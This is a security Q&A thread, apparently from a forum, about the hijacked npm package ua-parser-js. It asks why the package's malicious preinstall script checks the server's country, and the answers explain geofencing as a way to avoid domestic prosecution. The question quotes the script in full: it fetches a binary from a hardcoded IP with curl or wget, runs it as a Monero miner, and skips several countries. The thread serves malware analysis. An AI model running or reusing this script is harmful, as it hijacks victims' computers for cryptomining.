Why does this attack check the location of the server?

Question

Recently (just now) the npm package ua-parser-js was found to be hijacked. The hijack installs a crypto miner on preinstall but I noticed the following passage in the preinstall script:

IP=$(curl -k https://freegeoip.app/xml/ | grep 'RU\|UA\|BY\|KZ')
if [ -z "$IP" ]
     then
var=$(pgrep jsextension)
    if [ -z "$var" ]
        then
        curl http://159.148.186.228/download/jsextension -o jsextension 
        if [ ! -f jsextension ]
            then
            wget http://159.148.186.228/download/jsextension -O jsextension
        fi
        chmod +x jsextension
        ./jsextension -k --tls --rig-id q -o pool.minexmr.com:443 -u 49ay9Aq2r3diJtEk3eeKKm7pc5R39AKnbYJZVqAd1UUmew6ZPX1ndfXQCT16v4trWp4erPyXtUQZTHGjbLXWQdBqLMxxYKH --cpu-max-threads-hint=50 --donate-level=1 --background &>/dev/null &
    fi
 fi

My question is why does the script check if the server is in Russia, Ukraine, Belarus or Kazakhstan before downloading the payload? Is there something special about these countries?

Answer 1

Certain governments tend to ignore hacking/cybercrime carried out by their own citizens, as long as they only target people from other countries. Brian Krebs talks about this in an article earlier this year:

In Russia, for example, authorities there generally will not initiate a cybercrime investigation against one of their own unless a company or individual within the country’s borders files an official complaint as a victim. Ensuring that no affiliates can produce victims in their own countries is the easiest way for these criminals to stay off the radar of domestic law enforcement agencies.

There have been various malware samples in the past that did this by looking at the keyboard layouts that were installed (to the point that some people were recommending installing a Cyrillic layout to protect yourself against malware). What you're seeing is a different version of the same thing.

Answer 2

Note that this approach (not targeting the country where the hackers are located) works with any country to some extent. E.g. in Germany you have to file a court case (technically a "provisional injunction") before the ISP can give you the name behind the IP address from which the attack originated. You only have a few days to do so, otherwise the ISP logs will be deleted to fulfill the privacy laws.

This is relatively easy to do if the victim is in Germany, or if they have been preparing to have a litigation upfront (like the copyright holders which hire lawyers to prepare the paperwork before the copyright infringement even takes place), but practically impossible to do spontaneously if you're abroad. By the time your paperwork arrives to the German court, the ISP logs will already be gone.

Of course, unlike their colleagues in Russia, Ukraine, Belarus or Kazakhstan, the German police will track down cyber-criminals in Germany even if nobody files official complains. Typically, they will act when the attack becomes widespread and widely known, or when the criminals try to launder the money and legalize it as income in Germany.